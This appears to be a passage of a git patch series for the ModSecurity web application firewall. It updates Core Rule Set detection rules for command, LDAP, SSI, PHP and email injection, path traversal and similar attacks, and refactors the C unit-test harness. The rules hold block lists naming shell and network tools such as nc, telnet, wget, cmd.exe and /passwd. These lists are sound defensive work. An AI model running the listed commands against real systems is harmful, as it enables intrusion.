"(?:\b(?:(?:n(?:et(?:\b\W+?\blocalgroup|\.exe)|(?:map|c)\.exe)|t(?:racer(?:oute|t)|elnet\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\.exe|echo\b\W*?\by+)\b|c(?:md(?:(?:32)?\.exe\b|\b\W*?\/c)|d(?:\b\W*?[\\\/]|\W*?\.\.)|hmod.{0,40}?\+.{0,3}x))|[\;\|\`]\W*?\b(?:(?:c(?:h(?:grp|mod|own|sh)|md|pp)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)\b|g(?:\+\+|cc\b))|\/(?:c(?:h(?:grp|mod|own|sh)|pp)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|g(?:\+\+|cc)|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)(?:[\'\"\|\;\`\-\s]|$))" \ - "capture,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'System Command Injection',id:'950006',tag:'WEB_ATTACK/COMMAND_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'System Command Injection',id:'950006',tag:'WEB_ATTACK/COMMAND_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:'/^(Cookie|Referer|X-OS-Prefs)$/'|REQUEST_COOKIES|REQUEST_COOKIES_NAMES \ "@pm uname wguest.exe /perl /nasm rcmd.exe nc tclsh /xterm finger tftp chown /echo nmap.exe ping /passwd /chsh ps /uname telnet.exe /ftp ls tclsh8 lsof /ping echo cmd.exe /kill python traceroute /ps perl passwd wsh.exe /rm /cpp chgrp /telnet localgroup kill /chgrp /finger nasm /ls nc.exe id /chmod /nc /g++ /id /chown cmd /nmap chsh /gcc net.exe /python /lsof ftp.exe ftp xterm mail /mail tracert nmap rm cd chmod cpp telnet cmd32.exe gcc g++" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,pass,nolog,skip:1" + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,pass,nolog,skip:1" SecAction pass,nolog,skipAfter:959006 SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:'/^(Cookie|Referer|X-OS-Prefs)$/'|REQUEST_COOKIES|REQUEST_COOKIES_NAMES \ "(?:\b(?:(?:n(?:et(?:\b\W+?\blocalgroup|\.exe)|(?:map|c)\.exe)|t(?:racer(?:oute|t)|elnet\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\.exe|echo\b\W*?\by+)\b|c(?:md(?:(?:32)?\.exe\b|\b\W*?\/c)|d(?:\b\W*?[\\\/]|\W*?\.\.)|hmod.{0,40}?\+.{0,3}x))|[\;\|\`]\W*?\b(?:(?:c(?:h(?:grp|mod|own|sh)|md|pp)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)\b|g(?:\+\+|cc\b))|\/(?:c(?:h(?:grp|mod|own|sh)|pp)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|g(?:\+\+|cc)|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)(?:[\'\"\|\;\`\-\s]|$))" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'System Command Injection',id:'959006',tag:'WEB_ATTACK/COMMAND_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'System Command Injection',id:'959006',tag:'WEB_ATTACK/COMMAND_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule ARGS \ "(?:(?:[\;\|\`]\W*?\bcc|\bwget)\b|\/cc(?:[\'\"\|\;\`\-\s]|$))" \ - "capture,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'System Command Injection',id:'950907',tag:'WEB_ATTACK/COMMAND_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'System Command Injection',id:'950907',tag:'WEB_ATTACK/COMMAND_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule "REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:'/^(Cookie|Referer|X-OS-Prefs|User-Agent)$/'|REQUEST_COOKIES|REQUEST_COOKIES_NAMES" \ "(?:(?:[\;\|\`]\W*?\bcc|\bwget)\b|\/cc(?:[\'\"\|\;\`\-\s]|$))" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'System Command Injection',id:'959907',tag:'WEB_ATTACK/COMMAND_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'System Command Injection',id:'959907',tag:'WEB_ATTACK/COMMAND_INJECTION',logdata:'%{TX.0}',severity:'2'" # # Coldfusion injection # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "\bcf(?:usion_(?:d(?:bconnections_flush|ecrypt)|set(?:tings_refresh|odbcini)|getodbc(?:dsn|ini)|verifymail|encrypt)|_(?:(?:iscoldfusiondatasourc|getdatasourceusernam)e|setdatasource(?:password|username))|newinternal(?:adminsecurit|registr)y|admin_registry_(?:delete|set)|internaldebug)\b" \ - "capture,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Injection of Undocumented ColdFusion Tags',id:'950008',tag:'WEB_ATTACK/CF_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Injection of Undocumented ColdFusion Tags',id:'950008',tag:'WEB_ATTACK/CF_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/* "\bcf(?:usion_(?:d(?:bconnections_flush|ecrypt)|set(?:tings_refresh|odbcini)|getodbc(?:dsn|ini)|verifymail|encrypt)|_(?:(?:iscoldfusiondatasourc|getdatasourceusernam)e|setdatasource(?:password|username))|newinternal(?:adminsecurit|registr)y|admin_registry_(?:delete|set)|internaldebug)\b" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Injection of Undocumented ColdFusion Tags',id:'959008',tag:'WEB_ATTACK/CF_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Injection of Undocumented ColdFusion Tags',id:'959008',tag:'WEB_ATTACK/CF_INJECTION',logdata:'%{TX.0}',severity:'2'" # # LDAP injection # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:\((?:\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\b\W*?=|[^\w\x80-\xFF]*?[\!\&\|][^\w\x80-\xFF]*?\()|\)[^\w\x80-\xFF]*?\([^\w\x80-\xFF]*?[\!\&\|])" \ - "capture,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'LDAP Injection Attack',id:'950010',tag:'WEB_ATTACK/LDAP_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'LDAP Injection Attack',id:'950010',tag:'WEB_ATTACK/LDAP_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:\((?:\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\b\W*?=|[^\w\x80-\xFF]*?[\!\&\|][^\w\x80-\xFF]*?\()|\)[^\w\x80-\xFF]*?\([^\w\x80-\xFF]*?[\!\&\|])" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'LDAP Injection Attack',id:'959010',tag:'WEB_ATTACK/LDAP_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'LDAP Injection Attack',id:'959010',tag:'WEB_ATTACK/LDAP_INJECTION',logdata:'%{TX.0}',severity:'2'" # # SSI injection # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "<!--\W*?#\W*?(?:e(?:cho|xec)|printenv|include|cmd)" \ - "capture,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SSI injection Attack',id:'950011',tag:'WEB_ATTACK/SSI_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SSI injection Attack',id:'950011',tag:'WEB_ATTACK/SSI_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/* "<!--\W*?#\W*?(?:e(?:cho|xec)|printenv|include|cmd)" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SSI injection Attack',id:'959011',tag:'WEB_ATTACK/SSI_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SSI injection Attack',id:'959011',tag:'WEB_ATTACK/SSI_INJECTION',logdata:'%{TX.0}',severity:'2'" # # PHP injection # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/* "@pm <?fgets move_uploaded_file $_session readfile ftp_put ftp_fget gzencode ftp_nb_put bzopen readdir $_post fopen gzread ftp_nb_fput ftp_nb_fget ftp_get $_get scandir fscanf readgzfile fread proc_open fgetc fgetss ftp_fput ftp_nb_get session_start fwrite gzwrite gzopen gzcompress" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,pass,nolog,skip:1" + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,pass,nolog,skip:1" SecAction pass,nolog,skipAfter:959013 SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:(?:\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open)|\$_(?:(?:pos|ge)t|session))\b|<\?(?!xml))" \ - "capture,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'PHP Injection Attack',id:'950013',tag:'WEB_ATTACK/PHP_INJECTION',tag:'WEB_ATTACK/HTTP_RESPONSSE_SPLITTING',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'PHP Injection Attack',id:'950013',tag:'WEB_ATTACK/PHP_INJECTION',tag:'WEB_ATTACK/HTTP_RESPONSSE_SPLITTING',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/* "(?:(?:\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open)|\$_(?:(?:pos|ge)t|session))\b|<\?(?!xml))" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'PHP Injection Attack',id:'959013',tag:'WEB_ATTACK/PHP_INJECTION',tag:'WEB_ATTACK/HTTP_RESPONSSE_SPLITTING',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'PHP Injection Attack',id:'959013',tag:'WEB_ATTACK/PHP_INJECTION',tag:'WEB_ATTACK/HTTP_RESPONSSE_SPLITTING',logdata:'%{TX.0}',severity:'2'" # # UPDF XSS # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "http:\/\/[\w\.]+?\/.*?\.pdf\b[^\x0d\x0a]*#" \ - "capture,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Persistent Universal PDF XSS attack',id:'950018',tag:'WEB_ATTACK/UPDF_XSS',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Persistent Universal PDF XSS attack',id:'950018',tag:'WEB_ATTACK/UPDF_XSS',severity:'2'" SecRule REQUEST_HEADERS|XML:/* "http:\/\/[\w\.]+?\/.*?\.pdf\b[^\x0d\x0a]*#" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Persistent Universal PDF XSS attack',id:'959018',tag:'WEB_ATTACK/UPDF_XSS',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Persistent Universal PDF XSS attack',id:'959018',tag:'WEB_ATTACK/UPDF_XSS',severity:'2'" # # Email Injection # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "[\n\r]\s*\b(?:to|b?cc)\b\s*:.*?\@" \ - "t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Email Injection Attack',id:'950019',logdata:'%{TX.0}',severity:'2'" + "phase:2,t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Email Injection Attack',id:'950019',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/* "[\n\r]\s*\b(?:to|b?cc)\b\s*:.*?\@" \ - "t:none,t:urlDecode,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Email Injection Attack',id:'959019',logdata:'%{TX.0}',severity:'2'" + "phase:2,t:none,t:urlDecode,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Email Injection Attack',id:'959019',logdata:'%{TX.0}',severity:'2'" # # HTTP Response Splitting # SecRule REQUEST_URI|REQUEST_HEADERS|REQUEST_HEADERS_NAMES "%0[ad]" \ - "t:none,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:400,msg:'HTTP Response Splitting Attack',id:'950910',logdata:'%{TX.0}',severity:'1'" + "phase:2,t:none,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:400,msg:'HTTP Response Splitting Attack',id:'950910',logdata:'%{TX.0}',severity:'1'" SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|XML:/* "(?:\bhttp\/(?:0\.9|1\.[01])|<(?:html|meta)\b)" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:400,msg:'HTTP Response Splitting Attack',id:'950911',logdata:'%{TX.0}',severity:'1'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:400,msg:'HTTP Response Splitting Attack',id:'950911',logdata:'%{TX.0}',severity:'1'" diff --git a/rules/optional_rules/modsecurity_crs_42_comment_spam.conf b/rules/optional_rules/modsecurity_crs_42_comment_spam.conf index 8bbf6b07..b1de7904 100644 --- a/rules/optional_rules/modsecurity_crs_42_comment_spam.conf +++ b/rules/optional_rules/modsecurity_crs_42_comment_spam.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -17,16 +17,16 @@ # # Prequalifier. Look for <http> first -SecRule ARGS|ARGS_NAMES "\bhttp:" "t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,skip:1,pass,nolog,id:'999010',severity:'5'" +SecRule ARGS|ARGS_NAMES "\bhttp:" "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,skip:1,pass,nolog,id:'999010',severity:'5'" -SecAction pass,nolog,skipAfter:999011 +SecAction phase:2,pass,nolog,skipAfter:999011 # Look for 2 ways of posting a link -SecRule ARGS|ARGS_NAMES "\[url\b" "t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,chain,ctl:auditLogParts=+E,deny,log,auditlog,status:400,msg:'Comment Spam',id:'950923',severity:'2'" -SecRule ARGS|ARGS_NAMES "\<a" +SecRule ARGS|ARGS_NAMES "\[url\b" "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,chain,ctl:auditLogParts=+E,deny,log,auditlog,status:400,msg:'Comment Spam',id:'950923',severity:'2'" +SecRule ARGS|ARGS_NAMES "\<a" "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase" -# Look for too many links in argument (Prone to FPs) -SecRule ARGS|ARGS_NAMES "(http:\/.*?){4}" "t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:400,msg:'Comment Spam',id:'950020',severity:'3'" +# Look for too many links in an argument (Prone to FPs) +SecRule ARGS|ARGS_NAMES "(http:\/.*?){4}" "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:400,msg:'Comment Spam',id:'950020',severity:'3'" SecMarker 999011 diff --git a/rules/optional_rules/modsecurity_crs_42_tight_security.conf b/rules/optional_rules/modsecurity_crs_42_tight_security.conf index 782dbd25..13667049 100644 --- a/rules/optional_rules/modsecurity_crs_42_tight_security.conf +++ b/rules/optional_rules/modsecurity_crs_42_tight_security.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -19,15 +19,15 @@ # Directory Traversal # SecRule REQUEST_URI "(?:\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\/))(?:%(?:u2024|2e)|\.){2}(?:\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\/))" \ - "phase:1,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Path Traversal Attack',id:'950103',severity:'2'" + "phase:1,t:none,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Path Traversal Attack',id:'950103',severity:'2'" # Weaker signature -SecRule REQUEST_FILENAME "\.\.[/\x5c]" "phase:1,t:urlDecodeUni,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Path Traversal Attack',id:'950103',severity:'2'" +SecRule REQUEST_FILENAME "\.\.[/\x5c]" "phase:1,t:none,t:urlDecodeUni,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Path Traversal Attack',id:'950103',severity:'2'" # # RFI Attack # SecRule ARGS "^(?:ht|f)tp:/" \ - "t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Remote File Inclusion Attack',id:'950117',severity:'2'" + "phase:2,t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Remote File Inclusion Attack',id:'950117',severity:'2'" diff --git a/rules/optional_rules/modsecurity_crs_55_marketing.conf b/rules/optional_rules/modsecurity_crs_55_marketing.conf index 9ccd9fb0..3a49e4c6 100644 --- a/rules/optional_rules/modsecurity_crs_55_marketing.conf +++ b/rules/optional_rules/modsecurity_crs_55_marketing.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -12,10 +12,10 @@ # -- SecRule REQUEST_HEADERS:User-Agent "msn(?:bot|ptc)" \ - "log,auditlog,msg:'MSN robot activity',id:'910008',severity:'5'" + "phase:2,t:none,t:lowercase,log,auditlog,msg:'MSN robot activity',id:'910008',severity:'5'" SecRule REQUEST_HEADERS:User-Agent "\byahoo(?:-(?:mmcrawler|blogs)|! slurp)\b" \ - "log,auditlog,msg:'Yahoo robot activity',id:'910007',severity:'5'" + "phase:2,t:none,t:lowercase,log,auditlog,msg:'Yahoo robot activity',id:'910007',severity:'5'" SecRule REQUEST_HEADERS:User-Agent "(?:(?:gsa-crawler \(enterprise; s4-e9lj2b82fjjaa; me\@mycompany\.com|adsbot-google \(\+http:\/\/www\.google\.com\/adsbot\.html)\)|\b(?:google(?:-sitemaps|bot)|mediapartners-google)\b)" \ - "log,auditlog,msg:'Google robot activity',id:'910006',severity:'5'" + "phase:2,t:none,t:lowercase,log,auditlog,msg:'Google robot activity',id:'910006',severity:'5'" From 40fba3355e8e5e0e33ae6e3969eb1697b4da8314 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 25 Apr 2008 23:16:48 +0000 Subject: [PATCH 015/110] Allow actions to be unit tested. Allow unit tests to be performance tested. Add an example script to generate @rx vs @pm tests. --- apache2/configure.in | 1 + apache2/msc_test.c | 554 ++++++++++++++++++++++++++++++-------- apache2/t/gen_rx-pm.pl.in | 96 +++++++ apache2/t/run-tests.pl.in | 12 +- 4 files changed, 552 insertions(+), 111 deletions(-) create mode 100755 apache2/t/gen_rx-pm.pl.in diff --git a/apache2/configure.in b/apache2/configure.in index 4490d733..87fa3da3 100644 --- a/apache2/configure.in +++ b/apache2/configure.in @@ -275,6 +275,7 @@ AC_CONFIG_FILES([Makefile]) AC_CONFIG_FILES([build/apxs-wrapper], [chmod +x build/apxs-wrapper]) if test -e "$PERL"; then AC_CONFIG_FILES([t/run-tests.pl], [chmod +x t/run-tests.pl]) + AC_CONFIG_FILES([t/gen_rx-pm.pl], [chmod +x t/gen_rx-pm.pl]) # Perl based tools AC_CONFIG_FILES([../tools/rules-updater.pl], [chmod +x ../tools/rules-updater.pl]) diff --git a/apache2/msc_test.c b/apache2/msc_test.c index 8adb85c0..0d59765a 100644 --- a/apache2/msc_test.c +++ b/apache2/msc_test.c @@ -9,6 +9,7 @@ * */ #include <apr.h> +#include <apr_getopt.h> #include "modsecurity.h" #include "re.h" @@ -16,7 +17,7 @@ #define ISHEX(X) (((X >= '0')&&(X <= '9')) || ((X >= 'a')&&(X <= 'f')) || ((X >= 'A')&&(X <= 'F'))) -#define BUFLEN 8192 +#define BUFLEN 32768 #define RESULT_SUCCESS 0 #define RESULT_ERROR -1 @@ -24,10 +25,50 @@ #define RESULT_WRONGSIZE -3 #define RESULT_WRONGRET -4 +#define CMDLINE_OPTS "t:n:p:P:r:I:D:h" + +/* Types */ +typedef struct tfn_data_t tfn_data_t; +typedef struct op_data_t op_data_t; +typedef struct action_data_t action_data_t; + +struct tfn_data_t { + const char *name; + const char *param; + unsigned char *input; + apr_size_t input_len; + msre_tfn_metadata *metadata; +}; + +struct op_data_t { + const char *name; + const char *param; + unsigned char *input; + apr_size_t input_len; + msre_ruleset *ruleset; + msre_rule *rule; + msre_var *var; + msre_op_metadata *metadata; +}; + +struct action_data_t { + const char *name; + unsigned char *input; + apr_size_t input_len; + msre_ruleset *ruleset; + msre_rule *rule; + msre_var *var; + msre_actionset *actionset; + msre_action *action; +}; + + /* Globals */ +static int debuglog_level = 0; static char *test_name = NULL; static apr_pool_t *g_mp = NULL; static modsec_rec *g_msr = NULL; +static unsigned char buf[BUFLEN]; msc_engine *modsecurity = NULL; @@ -145,42 +186,48 @@ static char *escape(unsigned char *str, apr_size_t *len) /* Testing functions */ -static int test_tfn(const char *name, unsigned char *input, apr_size_t input_len, unsigned char **rval, apr_size_t *rval_len, char **errmsg) -{ - int rc = -1; - msre_tfn_metadata *metadata = NULL; - +static int init_tfn(tfn_data_t *data, const char *name, unsigned char *input, apr_size_t input_len, char **errmsg) { *errmsg = NULL; - /* Lookup the tfn */ - metadata = msre_engine_tfn_resolve(modsecurity->msre, name); - - if (metadata == NULL) { + data->name = name; + data->input = apr_pmemdup(g_mp, input, input_len); + data->input_len = input_len; + data->metadata = msre_engine_tfn_resolve(modsecurity->msre, name); + if (data->metadata == NULL) { *errmsg = apr_psprintf(g_mp, "Failed to fetch tfn \"%s\".", name); return -1; } + return 0; +} + +static int test_tfn(tfn_data_t *data, unsigned char **rval, apr_size_t *rval_len, char **errmsg) +{ + int rc = -1; + + *errmsg = NULL; + /* Execute the tfn */ - rc = metadata->execute(g_mp, input, (long)input_len, (char **)rval, (long *)rval_len); + rc = data->metadata->execute(g_mp, data->input, (long)(data->input_len), (char **)rval, (long *)rval_len); if (rc < 0) { - *errmsg = apr_psprintf(g_mp, "Failed to execute tfn \"%s\".", name); + *errmsg = apr_psprintf(g_mp, "Failed to execute tfn \"%s\".", data->name); } return rc; } -static int test_op(const char *name, const char *param, const unsigned char *input, apr_size_t input_len, char **errmsg) -{ +static int init_op(op_data_t *data, const char *name, const char *param, unsigned char *input, apr_size_t input_len, char **errmsg) { const char *args = apr_psprintf(g_mp, "@%s %s", name, param); char *conf_fn; - msre_ruleset *ruleset = NULL; - msre_rule *rule = NULL; - msre_var *var = NULL; - msre_op_metadata *metadata = NULL; int rc = -1; *errmsg = NULL; + data->name = name; + data->param = param; + data->input = input; + data->input_len = input_len; + if ( apr_filepath_merge(&conf_fn, NULL, "t/unit-test.conf", APR_FILEPATH_TRUENAME, g_mp) != APR_SUCCESS) { *errmsg = apr_psprintf(g_mp, "Failed to build a conf filename."); return -1; @@ -198,49 +245,136 @@ static int test_op(const char *name, const char *param, const unsigned char *inp ); /* Lookup the operator */ - metadata = msre_engine_op_resolve(modsecurity->msre, name); - if (metadata == NULL) { + data->metadata = msre_engine_op_resolve(modsecurity->msre, name); + if (data->metadata == NULL) { *errmsg = apr_psprintf(g_mp, "Failed to fetch op \"%s\".", name); return -1; } /* Create a ruleset/rule */ - ruleset = msre_ruleset_create(modsecurity->msre, g_mp); - if (ruleset == NULL) { + data->ruleset = msre_ruleset_create(modsecurity->msre, g_mp); + if (data->ruleset == NULL) { *errmsg = apr_psprintf(g_mp, "Failed to create ruleset for op \"%s\".", name); return -1; } - rule = msre_rule_create(ruleset, RULE_TYPE_NORMAL, conf_fn, 1, "UNIT_TEST", args, "t:none,pass,nolog", errmsg); - if (rule == NULL) { + data->rule = msre_rule_create(data->ruleset, RULE_TYPE_NORMAL, conf_fn, 1, "UNIT_TEST", args, "t:none,pass,nolog", errmsg); + if (data->rule == NULL) { *errmsg = apr_psprintf(g_mp, "Failed to create rule for op \"%s\": %s", name, *errmsg); return -1; } /* Create a fake variable */ - var = (msre_var *)apr_pcalloc(g_mp, sizeof(msre_var)); - var->name = "UNIT_TEST"; - var->value = apr_pstrmemdup(g_mp, (char *)input, input_len); - var->value_len = input_len; - var->metadata = msre_resolve_var(modsecurity->msre, var->name); - if (var->metadata == NULL) { - *errmsg = apr_psprintf(g_mp, "Failed to resolve variable for op \"%s\": %s", name, var->name); + data->var = (msre_var *)apr_pcalloc(g_mp, sizeof(msre_var)); + data->var->name = "UNIT_TEST"; + data->var->value = apr_pstrmemdup(g_mp, (char *)input, input_len); + data->var->value_len = input_len; + data->var->metadata = msre_resolve_var(modsecurity->msre, data->var->name); + if (data->var->metadata == NULL) { + *errmsg = apr_psprintf(g_mp, "Failed to resolve variable for op \"%s\": %s", name, data->var->name); return -1; } /* Initialize the operator parameter */ - if (metadata->param_init != NULL) { - rc = metadata->param_init(rule, errmsg); + if (data->metadata->param_init != NULL) { + rc = data->metadata->param_init(data->rule, errmsg); if (rc <= 0) { *errmsg = apr_psprintf(g_mp, "Failed to init op \"%s\": %s", name, *errmsg); return rc; } } + return 0; +} + +static int test_op(op_data_t *data, char **errmsg) +{ + int rc = -1; + + *errmsg = NULL; + /* Execute the operator */ - if (metadata->execute != NULL) { - rc = metadata->execute(g_msr, rule, var, errmsg); 